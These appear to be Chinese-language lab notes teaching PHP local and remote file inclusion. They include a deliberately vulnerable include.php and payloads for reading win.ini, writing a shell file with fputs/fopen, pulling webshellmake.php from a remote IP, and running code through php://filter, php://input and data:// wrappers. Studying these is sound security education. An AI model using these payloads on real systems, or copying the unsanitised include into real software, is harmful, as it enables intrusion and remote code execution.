web-文件包含

产生原因：

开发人员都希望代码更加灵活，所以通常会将被包含的文件设置为变量，用来进行动态调用。正是这种灵活性，从而导致客户端可以调用一个恶意文件，造成文件包含漏洞。
实际上被包含文件可以是任意格式的，可以是图片、文本、源代码等等。只要文件被包含其内容也会被包含，并以当前服务器脚本语言执行。

典型特征：

变量的后面跟的是文件名或者url，就很可能又文件包含漏洞

   变量的值为一个页面：
       ?page=a.php
       ?home=b.html
       ?file=content

分类：（本地文件包含/远程文件包含）

本地文件包含（LFI）：

   没有拼接字符串：
       ?filename=./www.txt
       ?filename=../www.txt
       ?filename=c:/windows/win.ini
       ?filename=webshellmake.php   //创建一个webshell
                 Fputs:file 规定要写入的打开文件
                       String 规定要写入文件的字符串
   有拼接字符串：
       ?filename=c:/windows/win.ini%00

include.php文件

<?php
    $filename=$_GET['filename'];
    include($filename);
?>

环境搭建

写一个include.php文件

实验

1.访问同一个文件夹的php

http://127.0.0.1/include/include.php/?filename=phpinfo.php

2.跨盘访问

http://127.0.0.1/include/include.php/?filename=C:111222.txt
#或者
http://127.0.0.1/include/include.php/?filename=file://C:111222.txt
#没有写file的话默认就是file

3.利用fputs和fopen函数实行php文件生成

<?php fputs(fopen("shell.php",'w'),'<?pho phpinfo();?>')?>
#这里有一个要注意的是fopen后面一定要写上w（写入权限），不然phpinfo是写入不进去shell.php的
#fputs：前面指定文件名，后面写入要写入文件的字符串
#fopen:打开某个文件，如果没有的话就在本地进行创建

远程文件包含（RFI）

远程文件包含(RFI) 一般 PHP 默认关闭远程包含，开启远程文件包含功能需要在 php.ini 中修改：

allow_url_include = on
allow_url_fopen = on

payload：
?filename=http://www.baidu.com/xx.php
10.11.12.1/webshellmake.php

?filename=http://<IP>/webshellmake.php //利用远程文件包含创建 webshell

php伪协议:PHP支持的封装协议

file://:访问本地文件系统

    ?filename=file://C:Windowswin.ini

解释：用于访问本地文件系统。当指定了一个相对路径（不以/、、或 Windows 盘符开头的路径）提供的路径将基于当前的工作目录
不加默认是file

php://filter：访问各个输入输出流

?filename=php://filter/read=convert.base64-encode/resource=webshellmake.php

解释：一种元封装器，设计用于数据流打开时的筛选过滤应用。对于一体式（all-in-one）的文件函数非常有用，类似 readfile()、file() 和 file_get_contents()，在数据流内容读取之前没有机会应用其他过滤器。

php://input

?filename=php://input    【POST DATA】    <?php phpinfo();?>

解释：php://input可以访问请求的原始数据的只读流，将post请求的数据当作php代码执行。当传入的参数作为文件名打开时，可以将参数设为php://input,同时post想设置的文件内容，php执行时会将post内容当作文件内容。

注意：

①php://input与$HTTP_RAW_POST_DATA读取的数据是一样的，都只读取Content-Type不为multipart/form-data的数据

②multipart/form-data：指定传输数据为二进制类型，比如图片、mp3、文件。

为什么可以直接执行php代码？
自定义写入php代码，再当前页面下执行PHP代码因为前面是php文件，所以可以执行后面的php语句。要是后面是asp代码就不行了
再post请求的请求体中进行传递php代码

data://：数据

?filename=data://text/plain,<?php%20phpinfo();?>
?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
解释：数据流封装器，以传递相应格式的数据。通常可以用来执行PHP代码。具体的符号要url编码，不然对方识别不到
再get请求中直接传递php代码，并且可以进行base64加密
再get中进行base64加密之后，要把base64中的符号进行url编码